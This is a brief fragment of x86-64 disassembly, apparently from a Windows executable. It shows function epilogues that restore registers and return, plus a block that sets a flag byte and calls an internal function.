mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x28
ret
lea rcx, [0x1403149a0]
mov byte [0x140314998], 1
call fcn.14000c650
mov rbp, qword [rsp + 0x40]
add rsp, 0x28
ret